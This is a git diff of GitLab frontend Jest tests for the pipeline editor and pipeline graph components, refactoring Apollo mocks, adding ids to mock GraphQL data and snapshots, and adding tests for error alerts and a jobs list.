- { currentBranch, isQueryLoading, mountFn, options, props } = {
- currentBranch: mockDefaultBranch,
- hasUnsavedChanges: false,
- isQueryLoading: false,
- mountFn: shallowMount,
- options: {},
- },
- ) => {
+
+ const createComponent = ({
+ currentBranch = mockDefaultBranch,
+ isQueryLoading = false,
+ mountFn = shallowMount,
+ options = {},
+ props = {},
+ } = {}) => {
wrapper = mountFn(BranchSwitcher, {
propsData: {
...props,
@@ -74,17 +69,7 @@ describe('Pipeline editor branch switcher', () => {
const createComponentWithApollo = ({ mountFn = shallowMount, props = {} } = {}) => {
const handlers = [[getAvailableBranchesQuery, mockAvailableBranchQuery]];
- const resolvers = {
- Query: {
- currentBranch() {
- return mockCurrentBranchQuery();
- },
- lastCommitBranch() {
- return mockLastCommitBranchQuery();
- },
- },
- };
- mockApollo = createMockApollo(handlers, resolvers);
+ mockApollo = createMockApollo(handlers);
createComponent({
mountFn,
@@ -104,22 +89,12 @@ describe('Pipeline editor branch switcher', () => {
const findInfiniteScroll = () => wrapper.findComponent(GlInfiniteScroll);
const defaultBranchInDropdown = () => findDropdownItems().at(0);
- const setMockResolvedValues = ({ availableBranches, currentBranch, lastCommitBranch }) => {
- if (availableBranches) {
- mockAvailableBranchQuery.mockResolvedValue(availableBranches);
- }
-
- if (currentBranch) {
- mockCurrentBranchQuery.mockResolvedValue(currentBranch);
- }
-
- mockLastCommitBranchQuery.mockResolvedValue(lastCommitBranch || '');
+ const setAvailableBranchesMock = (availableBranches) => {
+ mockAvailableBranchQuery.mockResolvedValue(availableBranches);
};
beforeEach(() => {
mockAvailableBranchQuery = jest.fn();
- mockCurrentBranchQuery = jest.fn();
- mockLastCommitBranchQuery = jest.fn();
});
afterEach(() => {
@@ -148,10 +123,7 @@ describe('Pipeline editor branch switcher', () => {
describe('after querying', () => {
beforeEach(async () => {
- setMockResolvedValues({
- availableBranches: mockProjectBranches,
- currentBranch: mockDefaultBranch,
- });
+ setAvailableBranchesMock(mockProjectBranches);
createComponentWithApollo({ mountFn: mount });
await waitForPromises();
});
@@ -180,10 +152,7 @@ describe('Pipeline editor branch switcher', () => {
describe('on fetch error', () => {
beforeEach(async () => {
- setMockResolvedValues({
- availableBranches: new Error(),
- currentBranch: mockDefaultBranch,
- });
+ setAvailableBranchesMock(new Error());
createComponentWithApollo();
await waitForPromises();
});
@@ -200,10 +169,7 @@ describe('Pipeline editor branch switcher', () => {
describe('when switching branches', () => {
beforeEach(async () => {
jest.spyOn(window.history, 'pushState').mockImplementation(() => {});
- setMockResolvedValues({
- availableBranches: mockProjectBranches,
- currentBranch: mockDefaultBranch,
- });
+ setAvailableBranchesMock(mockProjectBranches);
createComponentWithApollo({ mountFn: mount });
await waitForPromises();
});
@@ -271,10 +237,7 @@ describe('Pipeline editor branch switcher', () => {
describe('when searching', () => {
beforeEach(async () => {
- setMockResolvedValues({
- availableBranches: mockProjectBranches,
- currentBranch: mockDefaultBranch,
- });
+ setAvailableBranchesMock(mockProjectBranches);
createComponentWithApollo({ mountFn: mount });
await waitForPromises();
});
@@ -374,10 +337,7 @@ describe('Pipeline editor branch switcher', () => {
describe('when scrolling to the bottom of the list', () => {
beforeEach(async () => {
- setMockResolvedValues({
- availableBranches: mockProjectBranches,
- currentBranch: mockDefaultBranch,
- });
+ setAvailableBranchesMock(mockProjectBranches);
createComponentWithApollo();
await waitForPromises();
});
@@ -433,35 +393,4 @@ describe('Pipeline editor branch switcher', () => {
});
});
});
-
- describe('when committing a new branch', () => {
- const createNewBranch = async () => {
- setMockResolvedValues({
- currentBranch: mockNewBranch,
- lastCommitBranch: mockNewBranch,
- });
- await wrapper.vm.$apollo.queries.currentBranch.refetch();
- await wrapper.vm.$apollo.queries.lastCommitBranch.refetch();
- };
-
- beforeEach(async () => {
- setMockResolvedValues({
- availableBranches: mockProjectBranches,
- currentBranch: mockDefaultBranch,
- });
- createComponentWithApollo({ mountFn: mount });
- await waitForPromises();
- await createNewBranch();
- });
-
- it('sets new branch as current branch', () => {
- expect(defaultBranchInDropdown().text()).toBe(mockNewBranch);
- expect(defaultBranchInDropdown().props('isChecked')).toBe(true);
- });
-
- it('adds new branch to branch switcher', () => {
- expect(defaultBranchInDropdown().text()).toBe(mockNewBranch);
- expect(findDropdownItems()).toHaveLength(mockTotalBranchResults + 1);
- });
- });
});
diff --git a/spec/frontend/pipeline_editor/components/header/pipeline_status_spec.js b/spec/frontend/pipeline_editor/components/header/pipeline_status_spec.js
index 29ab52bde8f..c101b1d21c7 100644
--- a/spec/frontend/pipeline_editor/components/header/pipeline_status_spec.js
+++ b/spec/frontend/pipeline_editor/components/header/pipeline_status_spec.js
@@ -4,7 +4,7 @@ import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import PipelineStatus, { i18n } from '~/pipeline_editor/components/header/pipeline_status.vue';
-import getPipelineQuery from '~/pipeline_editor/graphql/queries/client/pipeline.graphql';
+import getPipelineQuery from '~/pipeline_editor/graphql/queries/pipeline.query.graphql';
import PipelineEditorMiniGraph from '~/pipeline_editor/components/header/pipeline_editor_mini_graph.vue';
import { mockCommitSha, mockProjectPipeline, mockProjectFullPath } from '../../mock_data';
@@ -39,8 +39,6 @@ describe('Pipeline Status', () => {
const findPipelineId = () => wrapper.find('[data-testid="pipeline-id"]');
const findPipelineCommit = () => wrapper.find('[data-testid="pipeline-commit"]');
const findPipelineErrorMsg = () => wrapper.find('[data-testid="pipeline-error-msg"]');
- const findPipelineNotTriggeredErrorMsg = () =>
- wrapper.find('[data-testid="pipeline-not-triggered-error-msg"]');
const findPipelineLoadingMsg = () => wrapper.find('[data-testid="pipeline-loading-msg"]');
const findPipelineViewBtn = () => wrapper.find('[data-testid="pipeline-view-btn"]');
const findStatusIcon = () => wrapper.find('[data-testid="pipeline-status-icon"]');
@@ -119,8 +117,7 @@ describe('Pipeline Status', () => {
await waitForPromises();
});
- it('renders api error', () => {
- expect(findPipelineNotTriggeredErrorMsg().exists()).toBe(false);
+ it('renders error', () => {
expect(findIcon().attributes('name')).toBe('warning-solid');
expect(findPipelineErrorMsg().text()).toBe(i18n.fetchError);
});
@@ -132,22 +129,5 @@ describe('Pipeline Status', () => {
expect(findPipelineViewBtn().exists()).toBe(false);
});
});
-
- describe('when pipeline is null', () => {
- beforeEach(() => {
- mockPipelineQuery.mockResolvedValue({
- data: { project: { pipeline: null } },
- });
-
- createComponentWithApollo();
- waitForPromises();
- });
-
- it('renders pipeline not triggered error', () => {
- expect(findPipelineErrorMsg().exists()).toBe(false);
- expect(findIcon().attributes('name')).toBe('information-o');
- expect(findPipelineNotTriggeredErrorMsg().text()).toBe(i18n.pipelineNotTriggeredMsg);
- });
- });
});
});
diff --git a/spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js b/spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js
index 5fc0880b09e..ae19ed9ab02 100644
--- a/spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js
+++ b/spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js
@@ -1,4 +1,4 @@
-import { GlTable, GlLink } from '@gitlab/ui';
+import { GlTableLite, GlLink } from '@gitlab/ui';
import { shallowMount, mount } from '@vue/test-utils';
import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
import CiLintResults from '~/pipeline_editor/components/lint/ci_lint_results.vue';
@@ -24,7 +24,7 @@ describe('CI Lint Results', () => {
});
};
- const findTable = () => wrapper.find(GlTable);
+ const findTable = () => wrapper.find(GlTableLite);
const findByTestId = (selector) => () => wrapper.find(`[data-testid="ci-lint-${selector}"]`);
const findAllByTestId = (selector) => () =>
wrapper.findAll(`[data-testid="ci-lint-${selector}"]`);
diff --git a/spec/frontend/pipeline_editor/mock_data.js b/spec/frontend/pipeline_editor/mock_data.js
index 1bfc5c3b93d..fc2cbdeda0a 100644
--- a/spec/frontend/pipeline_editor/mock_data.js
+++ b/spec/frontend/pipeline_editor/mock_data.js
@@ -39,6 +39,7 @@ job_build:
export const mockCiTemplateQueryResponse = {
data: {
project: {
+ id: 'project-1',
ciTemplate: {
content: mockCiYml,
},
@@ -48,19 +49,22 @@ export const mockCiTemplateQueryResponse = {
export const mockBlobContentQueryResponse = {
data: {
- project: { repository: { blobs: { nodes: [{ rawBlob: mockCiYml }] } } },
+ project: {
+ id: 'project-1',
+ repository: { blobs: { nodes: [{ id: 'blob-1', rawBlob: mockCiYml }] } },
+ },
},
};
export const mockBlobContentQueryResponseNoCiFile = {
data: {
- project: { repository: { blobs: { nodes: [] } } },
+ project: { id: 'project-1', repository: { blobs: { nodes: [] } } },
},
};
export const mockBlobContentQueryResponseEmptyCiFile = {
data: {
- project: { repository: { blobs: { nodes: [{ rawBlob: '' }] } } },
+ project: { id: 'project-1', repository: { blobs: { nodes: [{ rawBlob: '' }] } } },
},
};
@@ -93,6 +97,7 @@ export const mockCiConfigQueryResponse = {
groups: {
nodes: [
{
+ id: 'group-1',
name: 'job_test_1',
size: 1,
jobs: {
@@ -108,6 +113,7 @@ export const mockCiConfigQueryResponse = {
__typename: 'CiConfigGroup',
},
{
+ id: 'group-2',
name: 'job_test_2',
size: 1,
jobs: {
@@ -170,9 +176,11 @@ export const mergeUnwrappedCiConfig = (mergedConfig) => {
export const mockCommitShaResults = {
data: {
project: {
+ id: '1',
repository: {
tree: {
lastCommit: {
+ id: 'commit-1',
sha: mockCommitSha,
},
},
@@ -184,9 +192,11 @@ export const mockCommitShaResults = {
export const mockNewCommitShaResults = {
data: {
project: {
+ id: '1',
repository: {
tree: {
lastCommit: {
+ id: 'commit-1',
sha: 'eeff1122',
},
},
@@ -198,9 +208,11 @@ export const mockNewCommitShaResults = {
export const mockEmptyCommitShaResults = {
data: {
project: {
+ id: '1',
repository: {
tree: {
lastCommit: {
+ id: 'commit-1',
sha: '',
},
},
@@ -212,6 +224,7 @@ export const mockEmptyCommitShaResults = {
export const mockProjectBranches = {
data: {
project: {
+ id: '1',
repository: {
branchNames: [
'main',
@@ -236,6 +249,7 @@ export const mockTotalBranchResults =
export const mockSearchBranches = {
data: {
project: {
+ id: '1',
repository: {
branchNames: ['test', 'better-feature', 'update-ci', 'test-merge-request'],
},
@@ -248,6 +262,7 @@ export const mockTotalSearchResults = mockSearchBranches.data.project.repository
export const mockEmptySearchBranches = {
data: {
project: {
+ id: '1',
repository: {
branchNames: [],
},
@@ -284,16 +299,19 @@ export const mockProjectPipeline = ({ hasStages = true } = {}) => {
: null;
return {
+ id: '1',
pipeline: {
id: 'gid://gitlab/Ci::Pipeline/118',
iid: '28',
shortSha: mockCommitSha,
status: 'SUCCESS',
commit: {
+ id: 'commit-1',
title: 'Update .gitlabe-ci.yml',
webPath: '/-/commit/aabbccdd',
},
detailedStatus: {
+ id: 'status-1',
detailsPath: '/root/sample-ci-project/-/pipelines/118',
group: 'success',
icon: 'status_success',
@@ -453,3 +471,33 @@ export const mockErrors = [
export const mockWarnings = [
'"jobs:multi_project_job may allow multiple pipelines to run for a single action due to `rules:when` clause with no `workflow:rules` - read more: https://docs.gitlab.com/ee/ci/troubleshooting.html#pipeline-warnings"',
];
+
+export const mockCommitCreateResponse = {
+ data: {
+ commitCreate: {
+ __typename: 'CommitCreatePayload',
+ errors: [],
+ commit: {
+ __typename: 'Commit',
+ id: 'commit-1',
+ sha: mockCommitNextSha,
+ },
+ commitPipelinePath: '',
+ },
+ },
+};
+
+export const mockCommitCreateResponseNewEtag = {
+ data: {
+ commitCreate: {
+ __typename: 'CommitCreatePayload',
+ errors: [],
+ commit: {
+ __typename: 'Commit',
+ id: 'commit-2',
+ sha: mockCommitNextSha,
+ },
+ commitPipelinePath: '/api/graphql:pipelines/sha/550ceace1acd373c84d02bd539cb9d4614f786db',
+ },
+ },
+};
diff --git a/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js b/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
index f6afef595c6..09d7d4f7ca6 100644
--- a/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
+++ b/spec/frontend/pipeline_editor/pipeline_editor_app_spec.js
@@ -8,13 +8,12 @@ import waitForPromises from 'helpers/wait_for_promises';
import PipelineEditorTabs from '~/pipeline_editor/components/pipeline_editor_tabs.vue';
import PipelineEditorEmptyState from '~/pipeline_editor/components/ui/pipeline_editor_empty_state.vue';
import PipelineEditorMessages from '~/pipeline_editor/components/ui/pipeline_editor_messages.vue';
-import { COMMIT_SUCCESS, COMMIT_FAILURE } from '~/pipeline_editor/constants';
-import getBlobContent from '~/pipeline_editor/graphql/queries/blob_content.graphql';
-import getCiConfigData from '~/pipeline_editor/graphql/queries/ci_config.graphql';
+import { COMMIT_SUCCESS, COMMIT_FAILURE, LOAD_FAILURE_UNKNOWN } from '~/pipeline_editor/constants';
+import getBlobContent from '~/pipeline_editor/graphql/queries/blob_content.query.graphql';
+import getCiConfigData from '~/pipeline_editor/graphql/queries/ci_config.query.graphql';
import getTemplate from '~/pipeline_editor/graphql/queries/get_starter_template.query.graphql';
import getLatestCommitShaQuery from '~/pipeline_editor/graphql/queries/latest_commit_sha.query.graphql';
-
-import getPipelineQuery from '~/pipeline_editor/graphql/queries/client/pipeline.graphql';
+import getPipelineQuery from '~/pipeline_editor/graphql/queries/pipeline.query.graphql';
import PipelineEditorApp from '~/pipeline_editor/pipeline_editor_app.vue';
import PipelineEditorHome from '~/pipeline_editor/pipeline_editor_home.vue';
@@ -412,6 +411,94 @@ describe('Pipeline editor app component', () => {
});
});
+ describe('when multiple errors occurs in a row', () => {
+ const updateFailureMessage = 'The GitLab CI configuration could not be updated.';
+ const unknownFailureMessage = 'The CI configuration was not loaded, please try again.';
+ const unknownReasons = ['Commit failed'];
+ const alertErrorMessage = `${updateFailureMessage} ${unknownReasons[0]}`;
+
+ const emitError = (type = COMMIT_FAILURE, reasons = unknownReasons) =>
+ findEditorHome().vm.$emit('showError', {
+ type,
+ reasons,
+ });
+
+ beforeEach(async () => {
+ mockBlobContentData.mockResolvedValue(mockBlobContentQueryResponse);
+ mockCiConfigData.mockResolvedValue(mockCiConfigQueryResponse);
+ mockLatestCommitShaQuery.mockResolvedValue(mockCommitShaResults);
+
+ window.scrollTo = jest.fn();
+
+ await createComponentWithApollo({ stubs: { PipelineEditorMessages } });
+ await emitError();
+ });
+
+ it('shows an error message for the first error', () => {
+ expect(findAlert().text()).toMatchInterpolatedText(alertErrorMessage);
+ });
+
+ it('scrolls to the top of the page to bring attention to the error message', () => {
+ expect(window.scrollTo).toHaveBeenCalledWith({ top: 0, behavior: 'smooth' });
+ expect(window.scrollTo).toHaveBeenCalledTimes(1);
+ });
+
+ it('does not scroll to the top of the page if the same error occur multiple times in a row', async () => {
+ await emitError();
+
+ expect(window.scrollTo).toHaveBeenCalledTimes(1);
+ expect(findAlert().text()).toMatchInterpolatedText(alertErrorMessage);
+ });
+
+ it('scrolls to the top if the error is different', async () => {
+ await emitError(LOAD_FAILURE_UNKNOWN, []);
+
+ expect(findAlert().text()).toMatchInterpolatedText(unknownFailureMessage);
+ expect(window.scrollTo).toHaveBeenCalledTimes(2);
+ });
+
+ describe('when a user dismiss the alert', () => {
+ beforeEach(async () => {
+ await findAlert().vm.$emit('dismiss');
+ });
+
+ it('shows an error if the type is the same, but the reason is different', async () => {
+ const newReason = 'Something broke';
+
+ await emitError(COMMIT_FAILURE, [newReason]);
+
+ expect(window.scrollTo).toHaveBeenCalledTimes(2);
+ expect(findAlert().text()).toMatchInterpolatedText(`${updateFailureMessage} ${newReason}`);
+ });
+
+ it('does not show an error or scroll if a new error with the same type occurs', async () => {
+ await emitError();
+
+ expect(window.scrollTo).toHaveBeenCalledTimes(1);
+ expect(findAlert().exists()).toBe(false);
+ });
+
+ it('it shows an error and scroll when a new type is emitted', async () => {
+ await emitError(LOAD_FAILURE_UNKNOWN, []);
+
+ expect(window.scrollTo).toHaveBeenCalledTimes(2);
+ expect(findAlert().text()).toMatchInterpolatedText(unknownFailureMessage);
+ });
+
+ it('it shows an error and scroll if a previously shown type happen again', async () => {
+ await emitError(LOAD_FAILURE_UNKNOWN, []);
+
+ expect(window.scrollTo).toHaveBeenCalledTimes(2);
+ expect(findAlert().text()).toMatchInterpolatedText(unknownFailureMessage);
+
+ await emitError();
+
+ expect(window.scrollTo).toHaveBeenCalledTimes(3);
+ expect(findAlert().text()).toMatchInterpolatedText(alertErrorMessage);
+ });
+ });
+ });
+
describe('when add_new_config_file query param is present', () => {
const originalLocation = window.location.href;
diff --git a/spec/frontend/pipelines/__snapshots__/utils_spec.js.snap b/spec/frontend/pipelines/__snapshots__/utils_spec.js.snap
index 60625d301c0..99de0d2a3ef 100644
--- a/spec/frontend/pipelines/__snapshots__/utils_spec.js.snap
+++ b/spec/frontend/pipelines/__snapshots__/utils_spec.js.snap
@@ -6,9 +6,11 @@ Array [
"groups": Array [
Object {
"__typename": "CiGroup",
+ "id": "4",
"jobs": Array [
Object {
"__typename": "CiJob",
+ "id": "6",
"name": "build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl",
"needs": Array [],
"scheduledAt": null,
@@ -18,6 +20,7 @@ Array [
"__typename": "StatusAction",
"buttonTitle": "Retry this job",
"icon": "retry",
+ "id": "8",
"path": "/root/abcd-dag/-/jobs/1482/retry",
"title": "Retry",
},
@@ -25,6 +28,7 @@ Array [
"group": "success",
"hasDetails": true,
"icon": "status_success",
+ "id": "7",
"tooltip": "passed",
},
},
@@ -36,14 +40,17 @@ Array [
"__typename": "DetailedStatus",
"group": "success",
"icon": "status_success",
+ "id": "5",
"label": "passed",
},
},
Object {
"__typename": "CiGroup",
+ "id": "9",
"jobs": Array [
Object {
"__typename": "CiJob",
+ "id": "11",
"name": "build_b",
"needs": Array [],
"scheduledAt": null,
@@ -53,6 +60,7 @@ Array [
"__typename": "StatusAction",
"buttonTitle": "Retry this job",
"icon": "retry",
+ "id": "13",
"path": "/root/abcd-dag/-/jobs/1515/retry",
"title": "Retry",
},
@@ -60,6 +68,7 @@ Array [
"group": "success",
"hasDetails": true,
"icon": "status_success",
+ "id": "12",
"tooltip": "passed",
},
},
@@ -71,14 +80,17 @@ Array [
"__typename": "DetailedStatus",
"group": "success",
"icon": "status_success",
+ "id": "10",
"label": "passed",
},
},
Object {
"__typename": "CiGroup",
+ "id": "14",
"jobs": Array [
Object {
"__typename": "CiJob",
+ "id": "16",
"name": "build_c",
"needs": Array [],
"scheduledAt": null,
@@ -88,6 +100,7 @@ Array [
"__typename": "StatusAction",
"buttonTitle": "Retry this job",
"icon": "retry",
+ "id": "18",
"path": "/root/abcd-dag/-/jobs/1484/retry",
"title": "Retry",
},
@@ -95,6 +108,7 @@ Array [
"group": "success",
"hasDetails": true,
"icon": "status_success",
+ "id": "17",
"tooltip": "passed",
},
},
@@ -106,14 +120,17 @@ Array [
"__typename": "DetailedStatus",
"group": "success",
"icon": "status_success",
+ "id": "15",
"label": "passed",
},
},
Object {
"__typename": "CiGroup",
+ "id": "19",
"jobs": Array [
Object {
"__typename": "CiJob",
+ "id": "21",
"name": "build_d 1/3",
"needs": Array [],
"scheduledAt": null,
@@ -123,6 +140,7 @@ Array [
"__typename": "StatusAction",
"buttonTitle": "Retry this job",
"icon": "retry",
+ "id": "23",
"path": "/root/abcd-dag/-/jobs/1485/retry",
"title": "Retry",
},
@@ -130,11 +148,13 @@ Array [
"group": "success",
"hasDetails": true,
"icon": "status_success",
+ "id": "22",
"tooltip": "passed",
},
},
Object {
"__typename": "CiJob",
+ "id": "24",
"name": "build_d 2/3",
"needs": Array [],
"scheduledAt": null,
@@ -144,6 +164,7 @@ Array [
"__typename": "StatusAction",
"buttonTitle": "Retry this job",
"icon": "retry",
+ "id": "26",
"path": "/root/abcd-dag/-/jobs/1486/retry",
"title": "Retry",
},
@@ -151,11 +172,13 @@ Array [
"group": "success",
"hasDetails": true,
"icon": "status_success",
+ "id": "25",
"tooltip": "passed",
},
},
Object {
"__typename": "CiJob",
+ "id": "27",
"name": "build_d 3/3",
"needs": Array [],
"scheduledAt": null,
@@ -165,6 +188,7 @@ Array [
"__typename": "StatusAction",
"buttonTitle": "Retry this job",
"icon": "retry",
+ "id": "29",
"path": "/root/abcd-dag/-/jobs/1487/retry",
"title": "Retry",
},
@@ -172,6 +196,7 @@ Array [
"group": "success",
"hasDetails": true,
"icon": "status_success",
+ "id": "28",
"tooltip": "passed",
},
},
@@ -183,14 +208,17 @@ Array [
"__typename": "DetailedStatus",
"group": "success",
"icon": "status_success",
+ "id": "20",
"label": "passed",
},
},
Object {
"__typename": "CiGroup",
+ "id": "57",
"jobs": Array [
Object {
"__typename": "CiJob",
+ "id": "59",
"name": "test_c",
"needs": Array [],
"scheduledAt": null,
@@ -201,6 +229,7 @@ Array [
"group": "success",
"hasDetails": true,
"icon": "status_success",
+ "id": "60",
"tooltip": null,
},
},
@@ -212,6 +241,7 @@ Array [
"__typename": "DetailedStatus",
"group": "success",
"icon": "status_success",
+ "id": "58",
"label": null,
},
},
@@ -226,9 +256,11 @@ Array [
"groups": Array [
Object {
"__typename": "CiGroup",
+ "id": "32",
"jobs": Array [
Object {
"__typename": "CiJob",
+ "id": "34",
"name": "test_a",
"needs": Array [
"build_c",
@@ -242,6 +274,7 @@ Array [
"__typename": "StatusAction",
"buttonTitle": "Retry this job",
"icon": "retry",
+ "id": "36",
"path": "/root/abcd-dag/-/jobs/1514/retry",
"title": "Retry",
},
@@ -249,6 +282,7 @@ Array [
"group": "success",
"hasDetails": true,
"icon": "status_success",
+ "id": "35",
"tooltip": "passed",
},
},
@@ -260,14 +294,17 @@ Array [
"__typename": "DetailedStatus",
"group": "success",
"icon": "status_success",
+ "id": "33",
"label": "passed",
},
},
Object {
"__typename": "CiGroup",
+ "id": "40",
"jobs": Array [
Object {
"__typename": "CiJob",
+ "id": "42",
"name": "test_b 1/2",
"needs": Array [
"build_d 3/3",
@@ -283,6 +320,7 @@ Array [
"__typename": "StatusAction",
"buttonTitle": "Retry this job",
"icon": "retry",
+ "id": "44",
"path": "/root/abcd-dag/-/jobs/1489/retry",
"title": "Retry",
},
@@ -290,11 +328,13 @@ Array [
"group": "success",
"hasDetails": true,
"icon": "status_success",
+ "id": "43",
"tooltip": "passed",
},
},
Object {
"__typename": "CiJob",
+ "id": "67",
"name": "test_b 2/2",
"needs": Array [
"build_d 3/3",
@@ -310,6 +350,7 @@ Array [
"__typename": "StatusAction",
"buttonTitle": "Retry this job",
"icon": "retry",
+ "id": "51",
"path": "/root/abcd-dag/-/jobs/1490/retry",
"title": "Retry",
},
@@ -317,6 +358,7 @@ Array [
"group": "success",
"hasDetails": true,
"icon": "status_success",
+ "id": "50",
"tooltip": "passed",
},
},
@@ -328,14 +370,17 @@ Array [
"__typename": "DetailedStatus",
"group": "success",
"icon": "status_success",
+ "id": "41",
"label": "passed",
},
},
Object {
"__typename": "CiGroup",
+ "id": "61",
"jobs": Array [
Object {
"__typename": "CiJob",
+ "id": "53",
"name": "test_d",
"needs": Array [
"build_b",
@@ -348,6 +393,7 @@ Array [
"group": "success",
"hasDetails": true,
"icon": "status_success",
+ "id": "64",
"tooltip": null,
},
},
@@ -359,6 +405,7 @@ Array [
"__typename": "DetailedStatus",
"group": "success",
"icon": "status_success",
+ "id": "62",
"label": null,
},
},
diff --git a/spec/frontend/pipelines/components/jobs/jobs_app_spec.js b/spec/frontend/pipelines/components/jobs/jobs_app_spec.js
new file mode 100644
index 00000000000..1ea6096c922
--- /dev/null
+++ b/spec/frontend/pipelines/components/jobs/jobs_app_spec.js
@@ -0,0 +1,106 @@
+import { GlIntersectionObserver, GlSkeletonLoader } from '@gitlab/ui';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import JobsApp from '~/pipelines/components/jobs/jobs_app.vue';
+import JobsTable from '~/jobs/components/table/jobs_table.vue';
+import getPipelineJobsQuery from '~/pipelines/graphql/queries/get_pipeline_jobs.query.graphql';
+import { mockPipelineJobsQueryResponse } from '../../mock_data';
+
+const localVue = createLocalVue();
+localVue.use(VueApollo);
+
+jest.mock('~/flash');
+
+describe('Jobs app', () => {
+ let wrapper;
+ let resolverSpy;
+
+ const findSkeletonLoader = () => wrapper.findComponent(GlSkeletonLoader);
+ const findJobsTable = () => wrapper.findComponent(JobsTable);
+
+ const triggerInfiniteScroll = () =>
+ wrapper.findComponent(GlIntersectionObserver).vm.$emit('appear');
+
+ const createMockApolloProvider = (resolver) => {
+ const requestHandlers = [[getPipelineJobsQuery, resolver]];
+
+ return createMockApollo(requestHandlers);
+ };
+
+ const createComponent = (resolver) => {
+ wrapper = shallowMount(JobsApp, {
+ provide: {
+ fullPath: 'root/ci-project',
+ pipelineIid: 1,
+ },
+ localVue,
+ apolloProvider: createMockApolloProvider(resolver),
+ });
+ };
+
+ beforeEach(() => {
+ resolverSpy = jest.fn().mockResolvedValue(mockPipelineJobsQueryResponse);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('displays the loading state', () => {
+ createComponent(resolverSpy);
+
+ expect(findSkeletonLoader().exists()).toBe(true);
+ expect(findJobsTable().exists()).toBe(false);
+ });
+
+ it('displays the jobs table', async () => {
+ createComponent(resolverSpy);
+
+ await waitForPromises();
+
+ expect(findJobsTable().exists()).toBe(true);
+ expect(findSkeletonLoader().exists()).toBe(false);
+ expect(createFlash).not.toHaveBeenCalled();
+ });
+
+ it('handles job fetch error correctly', async () => {
+ resolverSpy = jest.fn().mockRejectedValue(new Error('GraphQL error'));
+
+ createComponent(resolverSpy);
+
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'An error occured while fetching the pipelines jobs.',
+ });
+ });
+
+ it('handles infinite scrolling by calling fetchMore', async () => {
+ createComponent(resolverSpy);
+
+ await waitForPromises();
+
+ triggerInfiniteScroll();
+
+ expect(resolverSpy).toHaveBeenCalledWith({
+ after: 'eyJpZCI6Ijg0NyJ9',
+ fullPath: 'root/ci-project',
+ iid: 1,
+ });
+ });
+
+ it('does not display main loading state again after fetchMore', async () => {
+ createComponent(resolverSpy);
+
+ expect(findSkeletonLoader().exists()).toBe(true);
+
+ await waitForPromises();
+
+ triggerInfiniteScroll();
+
+ expect(findSkeletonLoader().exists()).toBe(false);
+ });
+});
diff --git a/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js b/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js
index db4de6deeb7..04e004dc6c1 100644
--- a/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js
+++ b/spec/frontend/pipelines/graph/graph_component_wrapper_spec.js
@@ -1,7 +1,7 @@
-import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
+import { GlAlert, GlButton, GlButtonGroup, GlLoadingIcon } from '@gitlab/ui';
import { mount, shallowMount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
-import Vue from 'vue';
+import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import { useLocalStorageSpy } from 'helpers/local_storage_helper';
import createMockApollo from 'helpers/mock_apollo_helper';
@@ -98,7 +98,6 @@ describe('Pipeline graph wrapper', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
beforeAll(() => {
@@ -136,7 +135,7 @@ describe('Pipeline graph wrapper', () => {
beforeEach(async () => {
createComponentWithApollo();
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('does not display the loading icon', () => {
@@ -165,7 +164,7 @@ describe('Pipeline graph wrapper', () => {
getPipelineDetailsHandler: jest.fn().mockRejectedValue(new Error('GraphQL error')),
});
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('does not display the loading icon', () => {
@@ -189,7 +188,7 @@ describe('Pipeline graph wrapper', () => {
},
});
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('does not display the loading icon', () => {
@@ -211,7 +210,7 @@ describe('Pipeline graph wrapper', () => {
createComponentWithApollo();
jest.spyOn(wrapper.vm.$apollo.queries.headerPipeline, 'refetch');
jest.spyOn(wrapper.vm.$apollo.queries.pipeline, 'refetch');
- await wrapper.vm.$nextTick();
+ await nextTick();
getGraph().vm.$emit('refreshPipelineGraph');
});
@@ -225,8 +224,8 @@ describe('Pipeline graph wrapper', () => {
describe('when query times out', () => {
const advanceApolloTimers = async () => {
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
- await wrapper.vm.$nextTick();
+ await nextTick();
+ await nextTick();
};
beforeEach(async () => {
@@ -246,7 +245,7 @@ describe('Pipeline graph wrapper', () => {
.mockResolvedValueOnce(errorData);
createComponentWithApollo({ getPipelineDetailsHandler: failSucceedFail });
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('shows correct errors and does not overwrite populated data when data is empty', async () => {
@@ -276,7 +275,7 @@ describe('Pipeline graph wrapper', () => {
});
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('appears when pipeline uses needs', () => {
@@ -319,7 +318,7 @@ describe('Pipeline graph wrapper', () => {
});
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
});
it('sets showLinks to true', async () => {
@@ -329,7 +328,7 @@ describe('Pipeline graph wrapper', () => {
expect(getViewSelector().props('type')).toBe(LAYER_VIEW);
await getDependenciesToggle().vm.$emit('change', true);
jest.runOnlyPendingTimers();
- await wrapper.vm.$nextTick();
+ await nextTick();
expect(wrapper.findComponent(LinksLayer).props('showLinks')).toBe(true);
});
});
